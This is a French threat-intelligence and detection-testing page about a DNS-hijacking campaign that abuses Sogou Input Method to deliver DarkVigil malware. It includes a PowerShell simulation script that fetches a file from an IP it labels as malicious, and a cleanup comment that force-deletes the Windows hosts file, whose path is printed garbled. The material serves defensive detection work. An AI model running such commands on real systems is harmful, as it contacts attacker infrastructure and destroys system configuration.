Campagne de Malware SlippyNunchucks Exploite la Promotion de la Marque Sogou

Résumé

Le groupe de menace SlippyNunchucks utilise le détournement DNS pour intercepter le trafic HTTP non sécurisé généré par Sogou Input Method. Cela permet aux attaquants d’injecter une configuration malveillante qui lance le téléchargement du malware DarkVigil via des techniques de chargement latéral. La campagne cible principalement les utilisateurs sinophones dans les régions d’Asie et d’Europe.

Enquête

Les chercheurs d’ESET ont découvert que le groupe abuse du mécanisme de promotion de marque au sein de Sogou Input Method, en particulier le composant SGTool.exe. La manipulation DNS redirige les requêtes destinées à des points de configuration légitimes vers une infrastructure de mise en scène contrôlée par les attaquants. L’enquête a également révélé une chaîne de chargement latéral en plusieurs étapes impliquant un exécutable Adobe légitime renommé pour dissimuler sa présence.

Atténuation

Tencent a résolu le problème dans la version 16.10 de Sogou Input Method en migrant les requêtes HTTP affectées vers HTTPS et en introduisant une validation de certificat TLS. Les utilisateurs doivent mettre à jour leur logiciel vers la version la plus récente disponible pour empêcher les attaques de détournement DNS d’injecter et de livrer des configurations malveillantes.

Réponse

Lorsque des activités malveillantes sont détectées, les organisations doivent enquêter sur les modifications DNS non autorisées et inspecter le trafic réseau pour les connexions vers des domaines de mise en scène connus tels que sogou-cdn.com. Les équipes de sécurité devraient également surveiller les processus enfant suspects engendrés par les composants de Sogou Input Method, y compris l’exécution inattendue de binaires Adobe renommés ou de DLL non signées chargées à partir des répertoires de composants.

Exécution de Simulation

Prérequis : La vérification préalable de la télémétrie et de la ligne de base doit avoir été réussie.

Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit doivent refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection. Des exemples abstraits ou non liés conduiront à des erreurs de diagnostic.

• Narratif & Commandes d’Attaque : L’adversaire vise à simuler un scénario de détournement DNS où une requête vers config.pinyin.sogou.com est détournée vers une adresse IP malveillante. Pour déclencher la règle de détection spécifique fournie, la simulation contournera le DNS local et utilisera une adresse IP codée en dur (47.239.250.102) qui correspond aux critères de la règle. Cela imite le moment où la réponse DNS détournée dirige le logiciel Sogou vers un serveur contrôlé par les attaquants pour télécharger une charge utile.

• Script de Test de Régression :

  # Simulation de détournement DNS via une connexion IP codée en dur pour déclencher la règle spécifique
  # Cela imite la méthode d'entrée Sogou tentant d'atteindre son serveur de configuration 
  # mais étant redirigée vers une adresse IP malveillante.
  
  $TargetDomain = "config.pinyin.sogou.com"
  $MaliciousIP = "47.239.250.102"
  
  Write-Host "[*] Démarrage de la simulation de génération de télémétrie de détournement DNS..."
  
  # Nous utilisons une connexion IP directe pour imiter l'effet d'une résolution DNS détournée
  # De nombreux journaux proxy enregistreront le domaine demandé via l'en-tête Host 
  # même si la connexion est effectuée via une IP.
  
  try {
      $uri = "http://$($MaliciousIP)/update/config.bin"
      Write-Host "[*] Tentative de connexion à $TargetDomain via $MaliciousIP"
  
      # Utilisation d'Invoke-WebRequest pour simuler le trafic réseau via le proxy
      Invoke-WebRequest -Uri $uri -Method Get -Headers @{"Host"="$TargetDomain"} -TimeoutSec 5
  }
  catch {
      Write-Host "[!] Échec de la connexion (prévu, car l'IP est probablement hors ligne), mais la télémétrie devrait avoir été générée."
  }
  
  Write-Host "[*] Simulation terminée."

• Commandes de Nettoyage :

  # Aucune modification persistante n'est effectuée par ce script de simulation.
  # Pour nettoyer les artefacts au niveau du réseau si d'autres ont été ajoutés (par exemple, le fichier hosts), utilisez :
  # Remove-Item -Path C:WindowsSystem32driversetchosts -Force (nécessite un administrateur)
  Write-Host "[*] Nettoyage terminé. Aucun artefact persistant n’a été créé."